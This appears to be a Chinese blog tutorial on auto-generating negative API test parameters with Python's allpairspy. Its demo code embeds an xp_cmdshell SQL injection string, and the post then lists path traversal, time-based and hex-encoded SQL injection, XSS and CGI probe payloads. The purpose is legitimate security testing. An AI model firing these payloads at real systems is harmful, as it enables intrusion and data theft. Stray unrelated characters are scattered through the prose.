自動生成接口各種逆向組合參數(shù)

  • 在接口測試中,經(jīng)常被各種逆向常見所困擾甩卓,之前我都是用的微軟的PICT工具來生成逆向參數(shù)鸠匀,拋開其他缺點(diǎn)不談,主要是只支持windows
  • 下面用python的模塊來完成這項操作猛频,下面是簡單demo,可以根據(jù)自己實(shí)際需要擴(kuò)展
mport uuid
from allpairspy import AllPairs
# pip install allpairspy

from collections import OrderedDict


class BaseFuzzParams(object):
    """ 設(shè)置接口的逆向參數(shù)
        自動生成模糊接口參數(shù)第一步,提前準(zhǔn)備逆向場景
        Args:
            d: dict類型,正向接口參數(shù)
        Returns:
           dict
        Raises:
           無
        """

    def __get_data(self, d):
        data = {}
        for i in d:
            data[i] = []
            #  加入一般規(guī)則
            data[i].append({"info": "正確的值", "code": 1, "value": d[i], "key": i})
            data[i].append({"info": "為空", "code": -1, "value": "", "key": i})
            data[i].append({"info": "錯誤的值", "code": -2, "value": self.__param_format(type(d[i])), "key": i})
            data[i].append({"info": "刪除", "code": -3, "key": i})
        # 加入其它規(guī)則:如路徑遍歷辜荠,xss誉券,注入
        return data

    '''
    生成逆向場景參數(shù)
    '''

    def __param_format(self, key):
        if key == str:
            return str(uuid.uuid1())
        elif key == int:
            return 963852 # 也可以使用隨機(jī)整數(shù)的方式
        elif key == list:
            return [str(uuid.uuid1())]
        elif key == dict:
            return {}
        elif key == "inject":
            return "t'exec master..xp_cmdshell 'nslookup www.google.com'--"
        # 路徑遍歷
        elif key == "path_traversal":
            pass
        else:
            return "null"

    '''
    得到逆向場景參數(shù)后,用AllPairs生成全對偶參數(shù)
    '''

    def __set_fuzz(self, d):
        data = []
        for i, par in enumerate(AllPairs(OrderedDict(d))):
            app = []
            for j in par:
                app.append(j)
            data.append(app)

        dd = []
        for i in data:
            d = []
            for j in range(len(i)):
                d.append(i[j])
            dd.append(d)

        d2 = []
        for i in dd:
            d1 = []
            for j in i:
                app = {}
                if j.get("code", -9) == -1:
                    app[j["key"]] = ""
                elif j.get("code", -9) == -3:
                    pass
                else:
                    app[j["key"]] = j["value"]
                app["info"] = j["key"] + j["info"]
                d1.append(app)
            d2.append(d1)
        return d2
    '''
    對外的函數(shù)瑰谜,處理生成的對偶場景接口參數(shù)
     Returns:
           [{},{}]
    '''
    def param_fi(self, d):
        g_data = self.__get_data(d)
        s_fuzz = self.__set_fuzz(g_data)
        data = []
        for i in s_fuzz:
            for j in range(len(i)):
                _info = ""
                for k in range(len(i)):
                    _info = _info + "," + i[k]["info"]
                    i[0].update(i[k])
                i[0]["info"] = _info.strip(",")
                data.append(i[0])
                break
        return data
if __name__ == "__main__":
    fz = BaseFuzzParams().param_fi({"user": "name", "id": 1001, "pwd": "!@#$^&*", "data": {"test": "hello"}, "my_list":["1", "2"]})
    print(fz)
  • 最后得到的參數(shù)結(jié)果為:
image.png
  • 還可以加入些其他的逆向場景,如路徑遍歷,注入痢法,超長參數(shù)等,舉一些例子供大家參考
  • 路徑遍歷
../../../../../../../{FILE}
../../../../../../../../{FILE}
..%2f{FILE}
..%2f..%2f{FILE}
  • 注入攻擊
a' waitfor delay '0:0:10'--
1 waitfor delay '0:0:10'--
declare @q nvarchar (200) select @q = 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A0031003000270000 exec(@q)
declare @s varchar(200) select @s = 0x77616974666F722064656C61792027303A303A31302700 exec(@s) 
declare @q nvarchar (200) 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)
declare @s varchar (200) select @s = 0x73656c65637420404076657273696f6e exec(@s)
a'
?
' or 1=1
y or 1=1 --
x' AND userid IS NULL; --
x' AND email IS NULL; --
  • 還可以用xss,cgi script這樣的方式
# cgi
14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}
14all.cgi?cfg=../../../../../../../..{KNOWNFILE}
AT-admin.cgi
AT-generate.cgi
# xss 
//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
  • 當(dāng)然不同的請求方式也可以測試
OPTIONS
GET
HEAD
POST
PUT
DELETE
TRACE
TRACK
CONNECT
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末杜顺,一起剝皮案震驚了整個濱河市财搁,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌躬络,老刑警劉巖尖奔,帶你破解...
    沈念sama閱讀 212,884評論 6 492
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異穷当,居然都是意外死亡提茁,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,755評論 3 385
  • 文/潘曉璐 我一進(jìn)店門馁菜,熙熙樓的掌柜王于貴愁眉苦臉地迎上來茴扁,“玉大人,你說我怎么就攤上這事汪疮∏突穑” “怎么了?”我有些...
    開封第一講書人閱讀 158,369評論 0 348
  • 文/不壞的土叔 我叫張陵智嚷,是天一觀的道長躲胳。 經(jīng)常有香客問我,道長纤勒,這世上最難降的妖魔是什么坯苹? 我笑而不...
    開封第一講書人閱讀 56,799評論 1 285
  • 正文 為了忘掉前任,我火速辦了婚禮摇天,結(jié)果婚禮上粹湃,老公的妹妹穿的比我還像新娘恐仑。我一直安慰自己,他們只是感情好为鳄,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,910評論 6 386
  • 文/花漫 我一把揭開白布裳仆。 她就那樣靜靜地躺著,像睡著了一般孤钦。 火紅的嫁衣襯著肌膚如雪歧斟。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 50,096評論 1 291
  • 那天偏形,我揣著相機(jī)與錄音静袖,去河邊找鬼。 笑死俊扭,一個胖子當(dāng)著我的面吹牛队橙,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播萨惑,決...
    沈念sama閱讀 39,159評論 3 411
  • 文/蒼蘭香墨 我猛地睜開眼捐康,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了庸蔼?” 一聲冷哼從身側(cè)響起解总,我...
    開封第一講書人閱讀 37,917評論 0 268
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎姐仅,沒想到半個月后倾鲫,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 44,360評論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡萍嬉,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,673評論 2 327
  • 正文 我和宋清朗相戀三年乌昔,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片壤追。...
    茶點(diǎn)故事閱讀 38,814評論 1 341
  • 序言:一個原本活蹦亂跳的男人離奇死亡磕道,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出行冰,到底是詐尸還是另有隱情溺蕉,我是刑警寧澤,帶...
    沈念sama閱讀 34,509評論 4 334
  • 正文 年R本政府宣布悼做,位于F島的核電站疯特,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏肛走。R本人自食惡果不足惜漓雅,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 40,156評論 3 317
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧邻吞,春花似錦组题、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,882評論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至旺遮,卻和暖如春赵讯,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背耿眉。 一陣腳步聲響...
    開封第一講書人閱讀 32,123評論 1 267
  • 我被黑心中介騙來泰國打工边翼, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人跷敬。 一個月前我還...
    沈念sama閱讀 46,641評論 2 362
  • 正文 我出身青樓讯私,卻偏偏與公主長得像热押,于是被迫代替她去往敵國和親西傀。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,728評論 2 351